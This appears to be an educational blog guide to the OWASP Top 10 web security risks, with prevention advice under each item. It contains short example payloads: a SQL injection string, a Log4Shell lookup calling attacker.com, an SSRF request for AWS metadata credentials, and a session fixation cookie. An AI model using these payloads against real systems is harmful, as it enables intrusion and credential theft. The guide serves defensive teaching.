OWASP Top 10: The Complete Security Guide

CyberDefender 8 mins0

The OWASP Top 10 is a standard awareness document for developers and security professionals. It lists the most critical security risks to web applications based on real-world exploit data and expert analysis.

1. Broken Access Control

Access control ensures users can only perform actions they’re authorized for. When this fails, attackers can modify URLs, tokens, or request methods to access data or functions they shouldn’t.

Technical Explanation

  • Occurs when authorization decisions happen only on the client side or are missing entirely.

  • Common patterns:

    • IDOR (Insecure Direct Object Reference)
      Users manipulate identifiers like user_id=5002 to access another user’s data.

    • Forced browsing
      Accessing /admin without being an admin.

    • Missing function-level authorization
      API endpoints accept requests regardless of user role.

Example Attack

GET /api/user/12345/profile → attacker changes 12345 to 12346

If no server-side check exists, the attacker retrieves another user’s data.

Prevention

  • Enforce access control on the server, never in JavaScript.
  • Deny by default.
  • Use role-/attribute-based access control.
  • Log access control failures.

2. Cryptographic Failures

Previously known as Sensitive Data Exposure, this category covers weak or improper cryptography.

Technical Explanation

Common failures:

  • Sending sensitive data (passwords, tokens, PII) over plain HTTP.
  • Using weak hashing algorithms like MD5, SHA-1.
  • Misusing crypto (e.g., ECB mode for AES).
  • Storing data without encryption at rest.

Example Failure

Using SHA-1 for passwords: SHA1(password)

This is crackable using GPU-based rainbow tables.

Prevention

  • Use TLS 1.2+ for all traffic.
  • Hash passwords using bcrypt, scrypt, Argon2.
  • Encrypt sensitive data with AES-256-GCM.
  • Apply strong key management (rotate keys, store in HSM or vault).

3. Injection

This includes SQL injection, command injection, LDAP injection, etc.

Technical Explanation

Injection occurs when untrusted input is interpreted as code or commands by a downstream component.

SQL Injection Example : 

SELECT * FROM users WHERE username = '$user';

Attacker inputs:

' OR '1'='1

Resulting query:

SELECT * FROM users WHERE username = '' OR '1'='1';

Consequences

  • Dumping entire databases
  • RCE (Remote Code Execution) in some database engines
  • Bypassing login forms

Prevention

  • Always use parameterized queries or ORM.
  • Input validation + sanitization.
  • Least-privilege DB accounts.

4. Insecure Design

This category focuses on flawed architecture, not implementation bugs.

Technical Explanation

Systems may lack:

  • Threat modeling
  • Secure design patterns
  • Separation of privileges
  • Rate limiting
  • Security requirements from the start

Example

A banking API allows unlimited money transfer attempts because designers didn’t include rate limiting → attackers brute force account numbers.

Prevention

  • Perform threat modeling
  • Use secure-by-design frameworks
  • Implement rate limits, workflows, and proper validation rules

5. Security Misconfiguration

The most common vulnerability in real environments.

Technical Explanation

Examples:

  • Running apps with debug mode = true
  • Default credentials (admin/admin)
  • Open cloud buckets (AWS S3, Azure Blob)
  • Unnecessary HTTP methods enabled (PUT, DELETE)
  • Missing security headers:

    • Content-Security-Policy

    • X-Frame-Options

Attack Example

Navigating to: https://example.com/phpinfo.php

reveals full environment details including versions and paths.

Prevention

  • Harden servers, containers, and cloud environments.
  • Disable debug modes.
  • Manage configurations as code.
  • Run periodic configuration scans.

6. Vulnerable and Outdated Components

Applications rely heavily on open-source libraries and packages. Old or unpatched components introduce severe risk.

Technical Explanation

Examples:

  • Using Log4j 2.14 (vulnerable to Log4Shell)
  • Outdated WordPress plugins
  • Running unsupported frameworks (e.g., PHP 5.x)

Attack Example

Log4Shell exploit: ${jndi:ldap://attacker.com/a}

Log4j executes the string → remote code execution.

Prevention

  • Maintain an SBOM (Software Bill of Materials)
  • Continuously scan dependencies
  • Apply updates and patches fast

7. Identification and Authentication Failures

Previously “Broken Authentication”.

Technical Explanation

Includes:

  • Weak password handling
  • Predictable session IDs
  • Session fixation
  • Missing MFA
  • Not invalidating sessions after logout

Example Attack: Session Fixation

Attacker sets a fixed session ID: Set-Cookie: session_id=12345

Victim logs in → attacker reuses session 12345.

Prevention

  • Use secure session management libraries.
  • Rotate session IDs after login.
  • Enforce MFA and strong passwords.
  • Use HTTPOnly and Secure cookies.

8. Software and Data Integrity Failures

Occurs when code, pipelines, or data can be modified without verification.

Technical Explanation

Includes:

  • Compromised CI/CD pipelines
  • Unsigned software updates
  • Trusting user-modifiable data (e.g., JSON config)
  • Dependency confusion attacks

Example

Malicious update pushed through an unprotected CI/CD pipeline installs a backdoor into the production application.

Prevention

  • Sign software packages
  • Secure CI/CD pipelines
  • Verify integrity with checksums
  • Use trusted registries

9. Security Logging and Monitoring Failures

Without proper logging, you cannot detect attacks early.

Technical Explanation

Examples:

  • Missing logs for authentication events
  • No monitoring tools (SIEM)
  • Logs stored locally and overwritten
  • No alerting for suspicious activity

Real-World Consequence

A SQL injection attack goes unnoticed because failed login attempts and abnormal queries were not logged, allowing persistent exploitation.

Prevention

  • Log all authentication, access control, and error events
  • Use centralized log collection
  • Enable real-time monitoring and alerting

10. Server-Side Request Forgery (SSRF)

SSRF occurs when the server fetches a URL from user input and does not restrict internal network access.

Technical Explanation

Example vulnerable code: url = request.GET['image']
response = requests.get(url)

Attack Scenario

Attacker requests: http://localhost:8080/admin

or AWS metadata endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/

This reveals internal secrets.

Prevention

  • Allowlist outbound domains/IPs
  • Block access to internal networks
  • Use URL parsers that prevent protocol smuggling
  • Disable redirects

CyberDefender